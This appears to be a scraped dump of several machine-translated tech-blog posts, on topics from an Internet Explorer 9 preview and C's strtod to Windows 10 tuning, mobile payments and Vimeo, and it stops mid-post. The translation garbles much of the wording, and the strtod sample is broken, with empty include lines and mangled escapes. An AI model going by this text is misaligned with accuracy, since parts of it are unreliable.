'\nThe Platform preview does not replace your existing Internet Explorer installation Platform preview (and last Internet Explorer 9 version) does not work on Windows XP  There really isn't much work in the installation process. Basically all that you need to process is the 'EULA Window' and the 'Install Finished Window'.\nNote : The Platform preview will install into 'Program Files Folder' with the name 'Internet Explorer Platform Preview'.\n Internet Explorer 9 Platform Preview\nWhen launching the platform preview for the first time, you will see the test run homepage of Internet Explorer 9. Not surprisingly, there are not many user interfaces here . but you can realize the idea of ​​how Internet Explorer How will it work.\nNote : You cannot replace 'Homepage' for the platform preview.\n Regarding the four menus available here, there are two menus that will be very interesting to most users . that is 'Page' and 'Debug'. If navigating to a new site, you will need to go through 'Page Menu' since you have installed the Address Bar Mini-Tool (see below).\n Want to see what a site looks like in an older version of Internet Explorer. Please select the version you need to see in 'Debug Menu'. You will find it quite funny that IE6 is not included in these options.\n This is a window containing URLs if you are using 'Page Menu' to navigate between websites.\n This is the site of the site here displayed in 'IE9 Mode' .\n This is the home page viewed in 'Forced IE5 Document Mode'. There are some minor differences (colors, sidebar, .) about how the home page is displayed compared to 'IE9 Mode'. Being able to switch between modes gives users an interesting experience .\nSee page 2\n As you can see, there is not much that can be done with 'Context Menu' at this time. The icon note has changed a bit for the platform preview .\n 'Addition' adds an address bar\nIf you prefer to use the address bar with platform preview, you can set up a mobile file (IE9browser.exe) for Internet Explorer 9 Test Platform Addressbar Mini-Tool. Put it in an appropriate folder, create a shortcut for it.\nThis is the left picture of the Address Bar Mini-Tool. You can try accessing 'IE Favorites' but may have uneven results like what we experienced during our testing.\nNote : The Address Bar Mini-Tool will not work properly with the platform preview but it is still an interesting addition.\n A close look at the Address Bar Mini-Tool. To shut down the entire Address Bar Mini-Tool, you need to click 'Close'.\n Each time you enter an address into the Address Bar Mini-Tool, it will open a new window / instance of the platform preview.\nNote : During the test, we found that clicking 'Home' in 'Page Menu' will open the previously viewed websites but when closing and restarting the platform preview, the website will try to run back to the page. master.\n Even if the platform preview is not running, the Address Bar Mini-Tool can still be run as shown here.\nNote 1 : You will not be able to move the Address Bar Mini-Tool from its locked position above the screen.\nNote 2 : Wallpaper can be found here.\n When Address Bar Mini-Tool opens, you can enter the address and then platform preview will open it.\n This is our example.\n Conclude\nDuring the testing process, we experienced a breakdown phenomenon sometimes, but surely you will be satisfied with the platform's performance preview. The platform preview has managed its tasks quite well and seems to be faster than Internet Explorer 8 in the test system we have implemented.\nLinks\nDownload Internet Explorer 9 Preview Platform\nDownload Internet Explorer 9 Test Platform Addressbar Mini-Tool\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKulnqxdmsWxuM6rnKtlaWK9ra3Tn6arpV2lv6bCyJ6u\n","link":"/post/internet-explorer-9-platform-preview/","section":"post","tags":null,"title":"Internet Explorer 9 Platform Preview"},{"body":"The double strtod function (const char * str, char ** endptr) in Standard C library converts a string pointed to by parameter str to a floating point number (type double). If endptr is not NULL, a pointer to the character after the last character used in the conversion is stored in the location referenced by endptr.\nDeclaring the function strtod () in C Below is the declaration for strtod () function in C:\ndouble strtod ( const char * str , char ** endptr )  Parameters\nstr - This is the value to be converted into a string.\nendptr - This is a reference to a allocated object of type char *, whose value is set by the function to the next character in str after the numeric value.\nReturns the value\nThis function returns the floating point number that was converted as a double value. If not, the function returns 0.0.\nFor example\nThe following program C illustrates the usage of the strtod () function in C:\n#include #include int main () { char str [ 30 ] = \"21.32301 Hoc C tai QTM\" ; char * ptr ; double ret ; ret = strtod ( str , \u0026amp; ptr ); printf ( \"Phan gia tri (double) la: %lfn\" , ret ); printf ( \"Phan chuoi la: |%s|\" , ptr ); return ( 0 ); }  Compile and run the above C program to see the results.\nAccording to Tutorialspoint\nPrevious lesson: Atol () function in C\nNext lesson: Function strtol () in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2Bsp5uknryvedKtqa2nlGK2r3nC\n","link":"/post/the-function-strtod-in-c/","section":"post","tags":null,"title":"The function strtod () in C"},{"body":"Steam is one of the largest distribution platforms for copyrighted games on PC today. This means that Steam owns a large number of PC games for you to explore and experience. If you are still confused about choosing a game, this article will give you the Top 15 free games available on Steam.\nArticle table of contents OpenTTD Dinner With an Owl A Raven Monologue Cry of Fear The Super Stories Untold Off-peak The Expendabros Babble Royale Destiny 2 Card Hunter Dota 2 Warframe Team Fortress 2 EVE Online OpenTTD OpenTTD is a relatively old open-source remake of the sim game. However, it is still quite great for you to experience, especially for those who love the type of management and construction games.\n  It has relatively simple graphics but the city simulation is done quite well by OpenTTD as you can experience the acceleration and torque for the train going uphill. This game can also be easily modded, allowing you to discover more interesting things.\nDinner With an Owl This is a surreal adventure that plunges you into a mystery surrounding dinner with a giant owl. You will have to talk to other guests to be able to escape the spell of the hidden dinner party.\n  At the same time, players need to uncover the secrets of the host. Dinner With an Owl is a relatively short game, but it's worth your time to experience, discover interesting mysteries and surprises.\nA Raven Monologue This is a short story about a mute crow trying to interact with the townspeople. A Raven Monologue is described as a story conveyed through the use of limited interactive artwork.\n  This game is relatively short, easy to play, suitable for anyone who wants to experience a light game.\nCry of Fear is a horror game set in a deserted town filled with monstrous creatures. You will play the role of a young man looking for answers on a cold Scandinavian night. You will need to find your way through the city, facing unannounced nightmares.\n  Cry of Fear is a modification of Half-Life 1, set in the same way as classic survival horror games. You can feel free to experience it because it's completely free. However, it should be noted that it is a game not for the faint of heart.\nThe Super The Supper is a classic adventure game with puzzles and a creepy story to go with it. You will transform into an old lady who runs an inn famous for her \"special sauce\".\n This game is also relatively short but still provides an interesting experience when you start serving your evil stew to a few diners.\nStories Untold Stories Untold is an experimental narrative-driven adventure game that makes it a very special title. The game consists of 4 small stories that combine to form a mysterious anthology that attracts players.\n  The game brings a sense of adventure and mystery to stimulate the player's curiosity through images and words leading to the main story.\nOff-peak Off-Peak is a place where you are transported to the future, where you are stuck at a station where everything is strange. You need to chat with the quirky residents of the station and explore the twisty passages of the station and uncover the little anecdotes while piecing together the meanings of the pieces.\n  Usually it will only take about half an hour for you to finish playing this game. However, the experience it gives you in terms of sound and picture is completely worth it\nThe Expendabros Tired of discovering and experiencing the mysterious and horror games above? Give The Expendabros a try. This is a game based on the movie The Expendables.\n  You will play as one of 7 mercenaries who seek to destroy the ruthless arms dealer Conrad Stonebanks in the forests of Eastern Europe. The special thing about this game is that each character will have a unique weapon and special attacks. You can also combine with other players to quickly clear the game.\nBabble Royale Bored of simple games? Let's try to stress a little with Babble Royale. This is a survival puzzle game. You will participate in a high speed word match war.\n  Quickly eliminate your opponent by matching your word with your opponent first. This game will help you train your mind and English vocabulary.\nDestiny 2 You will experience the feeling of shooting in space with your teammates.\n  Destiny 2 offers many different shooting modes and high quality graphics to help you have the most enjoyable experience.\nCard Hunter Card Hunter is a team role-playing game based on collecting cards. You will fight through dungeons under the guidance of a dungeon master. At the same time you will need to level up your hero team by strengthening your deck.\n  This game will definitely be more interesting if you invite your friends to play with you to fight through each battle.\nDota 2 Dota 2 is a very familiar name to many gamers, so of course it is not strange that it is on this list.\n  Dota 2 is a team fighting game, you will use the skills of the selected general to fight with your teammates and destroy the enemy's buildings. Each Dota 2 match can last from 30 minutes to 1 hour. This is one of the most profound and complex games in the world.\nWarframe This third-person action RPG about futuristic ninjas can be daunting for new players, but if you stick with it, you'll find it's a very enjoyable game. Through short missions you will upgrade your character and discover more about the game world.\n  Not only that, this game also has a mode to play with friends, making it easier for you to collect more rewards.\nTeam Fortress 2 As one of the highest-rated games of all time, don't hesitate to experience Team Fortress 2.\nVery few shooters can do what this game has done is have an extremely interesting character system. For example, The Spy, this character can disguise himself as an enemy general to easily destroy enemy equipment as well as conduct assassinations on the opponent. In case you like long-range aiming, snipers are the right class.\n  No matter how you like to play the character, Team Fortress 2 will definitely have the right class for you.\nEVE Online The last free game on Steam that TipsMake wants to introduce to you is EVE Online. This is an MMO game with an extremely large space with more than 7000 solar systems.\n  You will play the role of a space warrior, controlling the battleships in the middle of a large space. This will be a relatively difficult game as well as take a lot of time to experience. However, experiencing great graphics, with many beautiful spaceships and galaxies, this is not a bad experience for any gamer.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpsZp6imrJus8CmnKxln6N6tMDEmqRmn5GisrO%2FjKyfqK2cmXqmxM%2BeqaKdnpiy\n","link":"/post/top-15-free-games-on-steam-gamers-should-experience/","section":"post","tags":null,"title":"Top 15 free games on Steam gamers should experience"},{"body":"In addition to watching digital TV channels, watching entertainment videos on Smart TV is completely free, you should install more online TV viewing applications to enjoy richer entertainment. The following article will review 5 popular online TV viewing applications available on Smart TV and Internet TV. These are TV viewing software that are considered to be the most convenient tools that you can easily search on the huge app store of television. With this top app, you will definitely not have to miss your favorite programs no matter where you are.\nApplications to watch movies online on the phone How to watch HD TV for free on the Internet 9 websites to watch TV shows, free online TV shows Applications that watch online TV on television 1. HTV Online   Thanks to the new content, fast updating and highly entertaining, TV channels of Ho Chi Minh City Television always attract many viewers. The application of HTV Online appeared on TV is a good news for many people, because when adding this application, you can not only watch the channels of Ho Chi Minh City Television and Cable TV Center online. HTVC, but also enjoy countless fascinating movies or special entertainment programs, etc., are stored in the content repository and updated regularly.\nMoreover, the interface of HTV Online on TV is quite simple and easy to use. For users who have ever used this application on phones, tablets, . will become more familiar. Currently HTV Online is present on Smart TV Samsung, Internet Samsung TV, Smart Sony TV, Internet TV Sony Sony Entertainment Network interface, Toshiba Smart TV, .\n2. FPT Play\n  FPT Play is one of the really worthy applications on your family's television. This is the application for watching TV, movies, TV Show, . with fast, smooth, uninterrupted transmission speed due to advertising. The highlight of FPT Play is that it is the only application to distribute copyrighted English Premier League in Vietnam, with more than 30 free watch channels in the country of VTV, CVTV, VTC, . Even both Tenis, Racing, Golf and a series of EPL sports channels with music video clips, high quality television, comedy and sports shows.\nThe feature of watching TV online with FPT Play is only available on TV of Sony, LG, Toshiba, Sharp, . and on Samsung TV and Sony TV Internet, it only stops at the feature of watching videos available.\nSee also: Instructions for logging into FPT Play account on Smart TV\n3. Flix\n  Not only is the TV application for their own online viewing, HTV also cooperates with Flix to produce Flix - application that allows watching movies and TV with high image quality. Flix also gives users a movie store of all kinds to be able to enjoy on the big screen TV, with image quality, good sound.\nIn fact, Flix has more channels than HTV Online, including foreign channels, VTC channels, VTV channels, local channels, . and many of these have HD quality. With all of Flix coming up, it is obvious that Flix is ​​not completely free. This online TV viewing application only allows you to try it for 30 days and only see certain channels. After the trial period, you must pay the CODE fee to maintain the application usage, otherwise all channels will be locked.\n4. VTV Plus\n  VTV Plus - online TV viewing application is favored by users because of the variety in programs, the number of channels from movies, music, sports to programs for children. VTV Plus is also not a completely free application, if only using a free trial version, the number of channels is of course limited and many attractive channels will be locked.\nCompared to Flix, VTVPlus has a more outstanding point, along with the paid version of VTV Plus trial which is permanent, which means you can try it forever to see free channels. For Flix, after a 30-day trial period, the entire channel will be locked and you have to pay a fee to continue using it. Application of watching TV online VTV Plus is currently available on Internet TV and Samsung Smart TV.\n5. MyTV\n  The last online TV viewing application in this top 5 is MyTV Net with TV channels, online radio, on-demand television, movies, . Owning My TV, you don't need to install the cable yet Can comfortably watch favorite TV channels. In which, there are more than 60 popular domestic TV channels such as VTV, HTV, VTC, TV Today, HCA TV, Kids TV, iTV, VOV TV, . and some foreign channels such as: MTV, StarMovies , Channel V, NHK, .\nHowever, unfortunately, this application is only officially available on TCL Smart TV, but we can hope in the future MyTV will cover more widely.\nAbove are 5 applications to watch TV online on TV that you can refer to. These applications will give you a huge entertainment store to relax after a tiring working day.\nSee more:\nInstructions for installing Spotify on Samsung Smart TV Instructions on how to increase processing speed for Smart TV Can singing karaoke online on Smart TV? ncG1vNJzZmismaXArq3KnmWcp51kwbC8jJqnqaSZmK61tc6nZK2nXayuta%2FHZqanpJmjsm7A1Wamp2Wkqw%3D%3D\n","link":"/post/top-application-to-watch-online-tv-on-tv/","section":"post","tags":null,"title":"Top application to watch online TV on TV"},{"body":"If you want your computer to perform faster, optimized for performance, then take a few minutes to try the following tips to speed up the performance of Windows 10 on your computer.\n1. Change power settings (Power Option) If you are using the power saver function ( Power saver ) for Windows 10, it is slowing down your PC, reducing the performance of the computer. Now you need to change the power saving function ( Power Saver) to high performance mode ( High performance ) or balanced mode ( Balanced ) to increase the performance of the computer. Here's the first Windows 10 speed booster you should do.\nNow to do that we do the following:\nStep 1: Go to Control Panel =\u0026gt; System and Security =\u0026gt; Power Options.\nStep 2: Click to select Balanced mode, this is a balanced mode recommended by the Windows 10 publisher.\n  There is also a high performance mode, when choosing this mode, your computer needs to connect to a crazy source, because in this mode the performance is quite high, consuming a lot of energy.\n2. Turn off background programs when you start Windows. The reason your Windows 10 is running slow is that there are so many programs running in the background, with these programs you rarely use. So, disabling it will help speed up Windows 10 very effectively.\nNow I will show you how to turn off programs running in the background on Windows 10 as follows:\nStep 1: Press Ctrl + Shift + Esc to launch the Task Manager.\nStep 2: After the dialog box Task Manager appears, go to the Startup tab and then click to select unnecessary background applications and click Disable to remove them.\n  Once removed, the computer will no longer launch them at the next startup.\n3. Use ReadyBoost to speed up hard drive caching Windows 10 regularly caches data, when needed it imports data from there. The time to enter data in the cache is fast or transient depending on the speed of the computer's hard drive. If you are using a traditional HHD hard drive, then there is a way to increase cache speed, which is to use the Windows ReadyBoost feature , here's how:\nStep 1: Plug the USB drive into your computer, note choosing a USB drive with twice the capacity of the Ram memory to ensure maximum performance. Step 2: After plugging the USB in, open File Explorer and Right-click the USB flash drive and choose Properties. Then the Properties dialog box appears, click ReadyBoost Tab as shown below.\n  You can keep the memory size the same or change it if you want, then press OK.\nNote: If the message \"This device cannot be uesd for ReadyBoost\" appears, your USB drive is not efficient enough to meet the minimum performance of ReadyBoost. So you need to change the new USB to have higher performance.\n4. Turn off Windows tips and tricks When you use a Windows 10 computer, Windows will always monitor your actions and offer tips and tricks, in my experience, Windows tips and tricks are not very helpful.\nAnd the fact that Windows constantly offers tips can make your computer run more slowly. So if you want to keep the stable performance of Windows, please turn off tips and tricks that Windows offers. To do that, I will show you how to turn off Windows tips and tricks as follows:\nStep 1: On the screen Desktop Click Start =\u0026gt; Settings =\u0026gt; System =\u0026gt; Notification \u0026amp; Actions\nStep 2: The Notification \u0026amp; Actions dialog box pops up, uncheck the \"Get tips tricks and suggestions as you use Windows\" box as shown below.\n  5. Stop syncing OneDrive OneDrive is a fortunate Microsoft used to store data built into Windows 10, always in sync and up to date on your computer.\nOneDrive is a useful storage tool that helps your computer when it fails to sync data back to your computer.\nHowever, the fact that OneDrive is always syncing and updating data on your computer will make your computer slow down and if you really want to turn off OneDrive sync, I will guide you to follow these steps:\nStep 1: Right-click on the OneDrive icon then select Settings =\u0026gt; Account.\n  \nStep 2: Then the screen appears, click Unlink Account \" . Thus you have stopped syncing OneDrive on Windows 10.\n6. Defragment your hard drive Why should you defragment your hard drive? In the process of using the computer, the files on the hard drive will be scattered, so the system has to look for those fragmented files in different places, which makes the system take a long time to synthesize. data and slow down your device over time.\nSo in this article I will guide you how to defragment the hard drive on Windows 10 as follows.\nStep 1: On the Desktop screen , right-click This PC =\u0026gt; Properties\n  Step 2: After the Properties dialog box appears, go to the Tool tab and select Defragment now .\n  Step 3: Select the drive to check% fragmentation, here I select the drive (D :), then click Analyze disk.\n  Step 4: Defrag your hard drive by clicking Optimize, then wait for the defragmentation process to complete.\n  Step 5 : After defragmentation is complete, you can click Change Settings to set a schedule to defragment your hard drive as shown below.\n  So I have shared with you how to defragment the hard drive on Windows 10 in the most detailed.\n7. Clean hard drive to speed up Win 10 If your hard disk is full of unnecessary junk files, it can slow your computer down and to solve that today I will show you the simplest way to clean your hard disk:\nStep 1: On the screen Desktop Click Start =\u0026gt; Settings =\u0026gt; System =\u0026gt; Storage.\nShow the dialog box below, in the Storage Sense section switch OFF to On.\nWhen you turn On mode, you allow Windows to delete unnecessary files.\n  \nStep 2: Advanced options, you can edit how Storage Sense works to free up more files with larger sizes. How to proceed as follows: Click \"Configure Storage Sense at run it now\", then you can change the file cleaning rate (default is 30 days).\nIn the \" Delete files in my Dowloads folder if they are there for over \" section you can choose to delete the folders you have downloaded.\n  8. Clean the Registry Here I will show you how to clean the Registry:\nStep 1: You download and install Auslogics Registry Cleaner program . Once installed, on the left side of the screen you can choose which items to perform cleaning, or you can select all.\n  Link download here.\nStep 2: Click Scan to scan for errors, after finding errors, it will display the category of severity on the right side of the screen, finally click Repair to proceed with cleaning.\n  9. Turn off animations and visual effects on Win 10 In Windows 10 there are a lot of animations and visual effects and they can slow down the performance of the computer. So I will guide you how to turn them off:\nStep 1: In Windows 10's search box, type Sysdm.cpl and press Enter. Or open the RUN dialog box and type Sysdm.cpl to open the Sysdm dialog box.\nStep 2: The Performance Option dialog box appears, go to the Visual Effects tab and proceed to customize.\nAnd to make it easier, just click \"Let Windows choose what's best for my computer\", then click OK , Windows will automatically turn off the effects and animations.\n  10. Turn off the transparency effects (Transparency effects) When using Windows 10 you should turn off transparency effects. Because Windows 10 already uses transparency effects for the Start Menu, Taskbar and Action Center, it takes some time to do so and turning them off means improved performance. movement of the computer.\nTo turn off transparency effects we do the following: Go to settings, choose Personalization =\u0026gt; Colors, in Transparency effects we switch from ON to OFF.\n  \n11. Turn on Windows autocorrect. On Windows 10, there will be a function to automatically fix errors periodically for Win and automatically fix problems when found errors. By default, this mode works periodically at 2am as long as your computer is not turned off or is in sleep mode.\nHowever, most likely this feature has been turned off without your knowledge. So below I will guide you how to turn on Windows autocorrect as follows:\nStep 1: Open Control Panel =\u0026gt; System and Sicurity =\u0026gt; Security and Maintenance.\nStep 2: The Automatic Maintenance dialog box appears, click \" Start Maintenance \" if you want to apply now.\nIf you want to ensure this feature works every day, please click on \" Change Maintenance settings\" and choose a periodic operation time, then click on \" Allow Scheduled Maintenance to wake up my computer at the scheduled time\". Click OK to finish.\n  12. Turn off Bloatware to speed up Win 10 Before going into the tutorial to turn off Bloatware on Windows 10, you must understand what Bloatware is ?\nAs you know, Bloatware is basically the software that comes pre-installed on Windows 10. However, there are some pieces of software that will be useful to you, and some times you will never touch them. Because of that, today I will show you how to disable Bloatware on Windows 10.\nManually turn off Bloatware The following article I will guide you how to disable Bloatware with the simplest manual method.\nStep 1: On the home screen, click on the Windows icon, then navigate to the application you want to remove and click Uninstall.\n  \nStep 2: After the uninstallation is complete, a message will appear as shown below, click Uninstall to confirm the removal of the application from the computer.\n  So, only 2 simple steps you can turn off Bloatware on Windows 10.\nTurn off Bloatware with the DISM command In case you want to remove all Bloatware from your system, you can use the DISM command in PowerShell. And now I will guide you how to use the DISM command in PowerShell as follows:\nStep 1: In the search box, type PowerShell, then right-click and select Run Administrator =\u0026gt; Yes\n  \nStep 2: You use the following command to see the entire Bloatware of the system.\nDISM / Online / Get-ProvisionedAppxPackages | select-string Packagename\n  Step 3: Select the application you want to remove from the system, here I choose PackageName: Microsoft.Xbox.TCUI_1.24.10001.0_neutral_ ~ _8wekyb3d8bbwe\n  Step 4: After selecting the application to be removed, type the following command: DISM / Online / Remove-ProvisionedAppxPackage /PackageName:Microsoft.Xbox.TCUI_1.24.10001.0_neutral_~_8wekyb3d8bbwe\n  \nThus, the application you selected has been removed from the system, and you continue to do the same for other applications on the system.\nAbove is a synthesis of 12 ways to speed up Windows 10 2021, wish you success.\nspeed up Windows 10 ncG1vNJzZmismaXArq3KnmWcp51kfnN51pqwrGWkpHq0vMSem2atoGLEqrrDqK6sZWFleqbE06ucpp2crnqmssWemq2hppq5unmRaWlq\n","link":"/post/12-ways-to-speed-up-windows-10-extremely-effectively-2021/","section":"post","tags":null,"title":"12 ways to speed up Windows 10 extremely effectively 2021"},{"body":"The famous Indie game Among Us is still causing discord with friends and creating many interesting things around like AmongLock - the lock screen is like Among Us, wallpapers, Among Us .\nAnd an important information that is Among Us has begun to ban players from intentionally escaping the battle. This feature has been around for a while, though no one really noticed.\u0026nbsp;\nYou must have seen other players exiting the battle as soon as they knew you weren't an Impostor. Being a fake can help players have a more enjoyable experience and have more fun, but if you are Crewmate and leave the battle and everyone thinks so, how many people will Crewmate have to face Impostor?\nHow long does it take to ban the player Among Us, intentionally leaving the game? PickledKoolaid user on Reddit recently had a photo shared from Sportkeeda. In the picture we can see that the user can be banned for 5 minutes.\n  The text is short but extremely powerful, informing gamers that if they try to quit the game, they will be banned for 5 minutes because they intentionally disconnected from the game. This method of punishment has been around for a while, but gamers have only seen many banned notices recently. Perhaps implying that some gamers deliberately quit the game when they are not Impostor.\n  Only 5 minutes is not enough to \"deter\" gamers from deliberately exiting the game. But many times 5 minutes will add up and will cause many players to increase the wait time to re-enter the game. Hopefully players who want to play the role of Impostor will give up the idea of ​​going out of the game as soon as they know they are Crewmate, avoiding affecting other players.\n  Unlike other games such as rewarding gamers with items, titles. Among Us does not do this, you only have the biggest reward in the game that is chasing all Impostor out of the map or destroying all Crewmate to win, that is already a reward.\nncG1vNJzZmismaXArq3KnmWcp51krq67zaBkrqtdpb%2BwtMiboK2rXZZ6sbjAspyrZZanvK55yKernqaknryvrculsGado5iusbXNoGStoJVir6LA06Wc\n","link":"/post/among-us-prohibits-a-player-from-intentionally-escaping-the-battle/","section":"post","tags":null,"title":"Among Us prohibits a player from intentionally escaping the battle"},{"body":"ASUS manufacturer is preparing to release a laptop (netbook) running on the open source Ubuntu Linux operating system, codenamed the Eee PC 1215P, with a 12-inch screen .\nWhen officially released, the Eee PC 1215P will be ASUS 'largest netbook model running Linux.\n Other notable specifications of the Eee PC 1215P are the 1.5-GHz Intel Atom N570 dual-core processor, 2 GB of RAM and a 320 GB hard drive.\nIn addition, the Eee PC 1215P is equipped with a webcam on the frame border, 6-cell battery with 8 hours of continuous time.\nASUS plans to officially launch this netbook in the next few days at a price of 279 euros (about 395 USD).\nncG1vNJzZmismaXArq3KnmWcp51krrTB0magrGWRl7y2wIytpmakkaq7pLSMrZ%2BeZZWasm68wmZoa2llpXqzwc2noKefXaqvtrrTrmSloZ6qxQ%3D%3D\n","link":"/post/asus-is-about-to-launch-the-eee-pc-1215p-running-ubuntu-linux/","section":"post","tags":null,"title":"ASUS is about to launch the Eee PC 1215P running Ubuntu Linux"},{"body":"Currently there are many payment solutions that are appearing on the market provided by many different companies, from small startups to big names like Samsung, Google, and Apple. Each solution has its own differences. In this article, I introduce to you three solutions that are currently concerned: Android Pay, Samsung Pay, Apple Pay. Let's see how they work, how different they are and what devices and services are compatible with them.\n  Before reading the article, please look at the following table to get a general idea. I have added PayPal and Google Wallet for comparison.\n  What is Apple Pay? Apple Pay is a payment service developed by Apple and it has been deployed since the end of last year, while Samsung Pay or Android Pay has not been used in the market yet. According to Apple's announcement, more than 200,000 stores in the US accept Apple Pay and the company is still actively working to increase this number.\n\nActive Apple Pay video (4:41 minutes)\nThe way Apple Pay works is similar to Samsung Pay, which is that you can use your phone in combination with a fingerprint sensor and connect NFC for transactions. The downside to Samsung Pay is that Apple Pay does not support sending information to payment machines using only magnetic cards.\nAnd because only using NFC, Apple Pay has the same limitations as Android Pay because the speed of switching to using NFC payment machines of retailers is generally slow. Even in September, some stores disabled the NFC reader to make customers switch to using another payment system developed by themselves called CurrentC.\n  But things will change in the coming time because switching to NFC payment machines is an inevitable trend. Even US federal law requires stores to switch to using chip-assisted payment machines from now until 2016, and often chip machines are built-in NFC.\nApple Pay is highly appreciated for its security. At the first step, you still have to enter your credit card information into the Passbook application. However, Apple Pay will NOT SAVE bank card numbers and it will not save on Apple servers. Instead, every time you enter a new card, Apple will create a unique code for that card called \" Device Account Number \", each with a separate \" Device Account Number \" and all of them contained on one Private security chip in iPhone.\nWhen paying with Apple Pay, the iPhone will use the above code to communicate with the cash register, your actual card number will not be revealed. Each time the transaction is completed, Apple will generate one-time code to authenticate the transaction. And yet, Apple Pay also has an additional authentication step that is Touch ID to ensure you are the person who is doing this transaction. Note here that the store will not know the card number or other information about you.\n  Currently Apple Pay only appears on iPhone 6 and iPhone 6 Plus because it is the first two smartphones of the company supporting NFC. In addition, the Apple Watch is also compatible with this payment service, at which time you do not need an iPhone 6 or 6 Plus, just need iPhone 5, 5c or 5s.\nAnd you note, Apple Pay can also be used to pay both at normal retail stores and online websites or applications, similar to Android Pay.\nWhat is Android Pay? Introduced at MWC 2015, Android Pay is basically a framework that allows third-party programmers to use to develop their own apps. This is the most noticeable difference of Android Pay, while Samsung Pay and Apple Pay are two independent services. Sundar Pichai, senior vice president in charge of Android, Chrome and Google Apps, said: \" We do it the way anyone can build a payment service above Android . In those places like China or Africa, we hope people will use Android Pay to build innovative services \".\nIn other words, with Android Pay, Google hopes that the company can attract third parties to build better and richer mobile payment solutions. This is a \"bold\" way of Google. Why? Look at Android, Google only provides basic platform, and hardware is produced by other firms.\n  The benefit of using Android Pay is that developers do not have to build their own infrastructure to support mobile payments. In addition, when hearing the name Google, users also feel more confident than having to give information to pay for a strange name. And yet, Android Pay can also be verified by fingerprints, support NFC connection to communicate with payment machines, can also be used in both normal stores and online stores.\nGoogle did not disclose the official launch date of Android Pay. It is possible that we will hear about this information at the Google I / O 2015 event in May this year.\nIn theory, any Android device that supports NFC is able to use development services with Android Pay. If you have a phone with a fingerprint reader, it is better because Android Pay supports quick authentication with this solution besides entering a traditional password.\nWhat about Google Wallet? Don't worry, this service will continue to appear. According to Google, you can think of Google Wallet as a service built with Android Pay, and there will be many other similar things that appear in the future. Google recently partnered with Softcard, a joint venture between three major US carriers, Verizon Wireless, AT\u0026amp;T and T-Mobile, specializing in mobile payments. Under the deal, Google will buy Softcard technology, and carriers will pre-install Google Wallet on Android phones they sell.\n  Wallet was born in 2011 but it was not used popularly, in part because of Google's strategy, partly because stores in the US are quite slow to install NFC payment machines. But in 2016, US business units were forced to upgrade to chip card reader systems and often those systems were already available NFC.\nSamsung Pay This service is a Samsung exclusive service, it is independent of Android Pay and is not related to Google Wallet. The feature that helps Samsung Pay stand apart from rival services is that it can be used with both card payment machines and not just NFC machines. That helps Samsung customers can pay at a much larger number of stores than Android Pay and Apple Pay, which can only use NFC, especially in countries outside the US.\n\nVideo using Samsung Pay\nTo do so, Samsung used a technology called Magnetic Secure Transmission (MST) acquired by Samsung from startup company LoopPay.\nUsing Samsung Pay is also quite simple. When you need to pay, take out the phone, touch the reader on the device with your finger, then bring the phone closer to the payment station ( NFC or magnetic card ).\n  Until now Samsung Pay is only available on the Galaxy S6 and Galaxy S6 Edge, both will start selling on April 10. These two new smartphone models have hardware integration to use MST. It is not clear whether Samsung Pay will be used with old Galaxy phones that only have NFC connectivity, and whether it will support payment in online stores ( or shopping apps ). Samsung Pay will begin to be deployed in the US and South Korea starting this summer.\nWe also do not know how Samsung Pay's transaction security is handled because it does not say much about this issue. Samsung only revealed that users can track the transaction history on their device, and the card-related information will also be contained in a separate security chip manufactured by Infinity. Perhaps Samsung will provide more details when the Galaxy S6 and S6 Edge start selling next month.\nIt is still very early to conclude whether any form of mobile payment is more convenient and more secure because 2 of the 3 names above have not been officially deployed. Will it be Apple Pay, Samsung Pay or Android Pay? Let's wait and see.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWRpb2tsYypmLJlo5a6tMHNoGSpmalirq%2BwjJqlnaqfnrFuvMCy\n","link":"/post/compare-apple-pay-samsung-pay-and-android-pay/","section":"post","tags":null,"title":"Compare Apple Pay, Samsung Pay and Android Pay"},{"body":"YouTube is the king of online video. This brand is so popular that most people don't even know that there are alternatives that exist. However, other video sites are actually better than YouTube in some ways. Like Vimeo for example.\nVimeo has grown massively over the past decade and becomes the biggest competitor to YouTube. Vimeo may have a smaller number of users than YouTube, but when comparing Vimeo with YouTube, we can see this application outperforms competitors in some ways.\n1. Vimeo provides better video quality and encoding YouTube values ​​quantity over quality. Users upload more than 500 hours of recording to YouTube every minute. And YouTube needs to process all these videos before they can be published online. To handle that volume, YouTube must balance the compression speed with the quality of compression.\n Vimeo provides better video quality and encoding On the other hand, Vimeo values ​​quality over quantity. Because Vimeo has stricter guidelines for accepted videos, the handling is much softer than YouTube. And that means it can focus more on maximizing the quality of each video, by using better coding techniques.\nIf you upload the same video to both YouTube and Vimeo at the same resolution, the Vimeo version will be much nicer because it will have a higher bit rate.\n2. Vimeo has a higher reputation Take a moment to wonder what you think of when someone comes to a YouTube video. Then consider what you think of when someone talks about Vimeo videos. If you have experience with both websites, your sense of each brand will be completely different.\nYouTube is basically a place that holds a lot of videos. You can upload anything you want, as long as it doesn't talk about sex, excessive violence, etc. No one prevents you from uploading low quality nonsense or spam, while Vimeo is very strict. engraved in allowing content to be posted.\nThis is a double-edged sword. On the one hand, this limits the types of channels you can run on Vimeo. However, most people find Vimeo videos more professional than YouTube videos. In other words, if your content is appropriate, then choose Vimeo because the platform is definitely more reputable than YouTube.\nThis is why Vimeo has some of the best short films that you can watch online. While YouTube is more about channels that produce a variety of content, Vimeo is more about creators who focus more on each video, rather than on quality, not quantity.\n3. Vimeo has a more refined audience Because Vimeo limits the type of videos that are uploaded and considered a more reputable site than YouTube, it attracts a different audience.\nSo while YouTube has a broader reach than Vimeo, every Vimeo viewer is more likely to engage more deeply in the content. Viewers on YouTube are more annoying and tend to watch fast, while Vimeo viewers often receive slower and more thorough content. Audience expectations for the two platforms are also different.\n YouTube has a wider reach than Vimeo This is most evident when you compare the comment sections of both sites. YouTube is known for its awful comment atmosphere, while on Vimeo it is completely different, commentators tend to be more constructive, mature and deeper. If you are a creator, this can be quite new.\n4. Vimeo offers greater freedom for artistic creation There are two aspects of YouTube that prove to be frustrating for people who want to create certain types of artistic content. Which leads to the video disappearing for no reason.\nThe rules regarding 'adult' content are not consistent on YouTube. You can find videos with content directly related to this topic that have been on YouTube for years, while videos that are only suggestions can be taken down. So what happens if you make an adult music video? YouTube can take it down, but Vimeo welcomes it, as long as it has artistic value. Music is another big issue on YouTube. Specifically, the Content ID system automatically scans each upload to track copyright and mute anything it deems to be a violation. The system is 